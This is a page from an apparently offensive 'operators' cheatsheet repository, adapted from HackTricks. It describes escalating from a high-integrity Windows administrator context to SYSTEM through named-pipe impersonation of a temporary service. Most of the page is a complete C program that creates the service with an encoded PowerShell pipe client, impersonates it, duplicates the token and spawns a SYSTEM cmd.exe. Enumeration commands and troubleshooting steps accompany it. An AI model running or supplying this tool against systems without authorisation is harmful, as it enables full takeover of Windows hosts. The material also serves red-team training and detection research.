daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

from-high-integrity-to-system-with-name-pipes.md (8495B)


      1 ---
      2 title: "From High Integrity to SYSTEM with Name Pipes"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # From High Integrity to SYSTEM with Name Pipes
     14 
     15 This is the **administrator/SCM variant** of named-pipe impersonation: an elevated process creates a temporary service whose child connects as `SYSTEM`, then impersonates that client. If the starting context cannot create services but has `SeImpersonatePrivilege`, use a privileged-service coercion instead; see [Named Pipe Client Impersonation](/hacktricks/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation) and [RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato](/hacktricks/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer). Creating the service requires access to the SCM and `SERVICE_START` access to the new service, while `CreateProcessWithTokenW` requires `SeImpersonatePrivilege`.<sup>[[2]](#references)[[3]](#references)</sup>
     16 
     17 Quickly confirm the expected starting context:
     18 
     19 ```batch
     20 whoami /groups | findstr /i "High Mandatory"
     21 whoami /priv | findstr /i "SeImpersonatePrivilege"
     22 sc.exe query PiperSrv
     23 ```
     24 
     25 **Code flow:**
     26 
     27 1. Create the named-pipe server **before** starting the service. When waiting, treat `ConnectNamedPipe` returning `FALSE` with `ERROR_PIPE_CONNECTED` as success: it means the client won the race and connected between `CreateNamedPipe` and `ConnectNamedPipe`.<sup>[[4]](#references)</sup>
     28 2. Create and start a service that will connect to the created pipe and write something. The service code will execute this encoded PS code: `$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();`
     29 3. After the service connects and writes, call `ImpersonateNamedPipeClient`, open the resulting thread token, and duplicate it as a primary token.<sup>[[1]](#references)</sup>
     30 4. Use that primary token to spawn `cmd.exe`.<sup>[[2]](#references)</sup>
     31 
     32 This route assumes the caller can create/start a service and possesses the privileges required by `CreateProcessWithTokenW` (normally `SeImpersonatePrivilege`). It is a high-integrity-to-SYSTEM technique, not a primitive available to an arbitrary low-privileged user.<sup>[[2]](#references)[[3]](#references)</sup>
     33 
     34 > [!WARNING]
     35 > If service creation/start fails, the sample does not signal the pipe thread and can wait indefinitely. Add error handling and an overlapped pipe timeout before using it outside a lab. Also use a random pipe/service name to avoid collisions.
     36 
     37 `ImpersonateNamedPipeClient` adopts the context associated with the **last message read**, so a connection alone is insufficient: make the privileged client write, verify that `ReadFile` returned data, and only then impersonate. Duplicate the thread impersonation token into a `TokenPrimary` token with `SecurityImpersonation`; a primary token is what the process-creation API consumes.<sup>[[1]](#references)[[5]](#references)</sup>
     38 
     39 ```c
     40 #include <windows.h>
     41 #include <time.h>
     42 
     43 #pragma comment (lib, "advapi32")
     44 #pragma comment (lib, "kernel32")
     45 
     46 #define PIPESRV "PiperSrv"
     47 #define MESSAGE_SIZE 512
     48 
     49 DWORD WINAPI ServiceGo(LPVOID lpParam) {
     50 
     51 	SC_HANDLE scManager;
     52 	SC_HANDLE scService;
     53 
     54 	scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
     55 
     56 	if (scManager == NULL) {
     57 		return FALSE;
     58 	}
     59 
     60 	// create Piper service
     61 	scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
     62 		SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
     63 		"C:\\Windows\\System32\\cmd.exe /c powershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
     64 		NULL, NULL, NULL, NULL, NULL);
     65 
     66 	if (scService == NULL) {
     67 		//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
     68 		return FALSE;
     69 	}
     70 
     71 	// launch it
     72 	StartService(scService, 0, NULL);
     73 
     74 	// wait a bit and then cleanup
     75 	Sleep(10000);
     76 	DeleteService(scService);
     77 
     78 	CloseServiceHandle(scService);
     79 	CloseServiceHandle(scManager);
     80 }
     81 
     82 int main() {
     83 
     84 	LPCSTR sPipeName = "\\\\.\\pipe\\piper";
     85 	HANDLE hSrvPipe;
     86 	HANDLE th;
     87 	BOOL bPipeConn;
     88 	char pPipeBuf[MESSAGE_SIZE];
     89 	DWORD dBRead = 0;
     90 
     91 	HANDLE hImpToken;
     92 	HANDLE hNewToken;
     93 	STARTUPINFOW si;
     94 	PROCESS_INFORMATION pi;
     95 
     96 	// open pipe
     97 	hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
     98 		PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
     99 
    100 	// create and run service
    101 	th = CreateThread(0, 0, ServiceGo, NULL, 0, 0);
    102 
    103 	// wait for the connection from the service
    104 	bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
    105 	if (!bPipeConn && GetLastError() == ERROR_PIPE_CONNECTED) {
    106 		bPipeConn = TRUE; // Client connected between CreateNamedPipe and ConnectNamedPipe
    107 	}
    108 	if (bPipeConn) {
    109 		if (!ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL) || dBRead == 0) {
    110 			return -6;
    111 		}
    112 
    113 		// impersonate the service (SYSTEM)
    114 		if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
    115 			return -1;
    116 		}
    117 
    118 		// wait for the service to cleanup
    119 		WaitForSingleObject(th, INFINITE);
    120 
    121 		// get a handle to impersonated token
    122 		if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
    123 			return -2;
    124 		}
    125 
    126 		// create new primary token for new process
    127 		if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation,
    128 			TokenPrimary, &hNewToken)) {
    129 			return -4;
    130 		}
    131 
    132 		//Sleep(20000);
    133 		// spawn cmd.exe as full SYSTEM user
    134 		ZeroMemory(&si, sizeof(si));
    135 		si.cb = sizeof(si);
    136 		ZeroMemory(&pi, sizeof(pi));
    137 		if (!CreateProcessWithTokenW(hNewToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL,
    138 			CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
    139 			return -5;
    140 		}
    141 
    142 		// revert back to original security context
    143 		RevertToSelf();
    144 
    145 	}
    146 
    147 	return 0;
    148 }
    149 ```
    150 
    151 ### Failure triage
    152 
    153 - `ConnectNamedPipe == FALSE` with `ERROR_PIPE_CONNECTED`: continue; the pipe is already connected.<sup>[[4]](#references)</sup>
    154 - `ImpersonateNamedPipeClient` fails with `ERROR_CANNOT_IMPERSONATE` (`1368`): confirm the SYSTEM client actually wrote data and `ReadFile` completed. Also inspect the client's requested impersonation level; identification/anonymous-level clients cannot be fully impersonated.<sup>[[1]](#references)</sup>
    155 - `CreateProcessWithTokenW` fails with `ERROR_PRIVILEGE_NOT_HELD` (`1314`): the original caller does not hold `SeImpersonatePrivilege`. From a high-integrity administrator context, use the token-copy route documented in [SeImpersonate from High To System](/hacktricks/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system), or use `CreateProcessAsUserW` while impersonating SYSTEM if its required privileges are present.<sup>[[2]](#references)</sup>
    156 - `CreateServiceA` returns `ERROR_SERVICE_EXISTS` (`1073`): delete the stale `PiperSrv` entry or randomize `PIPESRV`; always delete the temporary service after the trigger.<sup>[[3]](#references)</sup>
    157 
    158 
    159 ## References
    160 
    161 - [1] [Microsoft Learn — `ImpersonateNamedPipeClient`](https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient)
    162 - [2] [Microsoft Learn — `CreateProcessWithTokenW`](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw)
    163 - [3] [Microsoft Learn — `CreateServiceA`](https://learn.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-createservicea)
    164 - [4] [Microsoft Learn — `ConnectNamedPipe`](https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe)
    165 - [5] [Microsoft Learn — `DuplicateTokenEx`](https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex)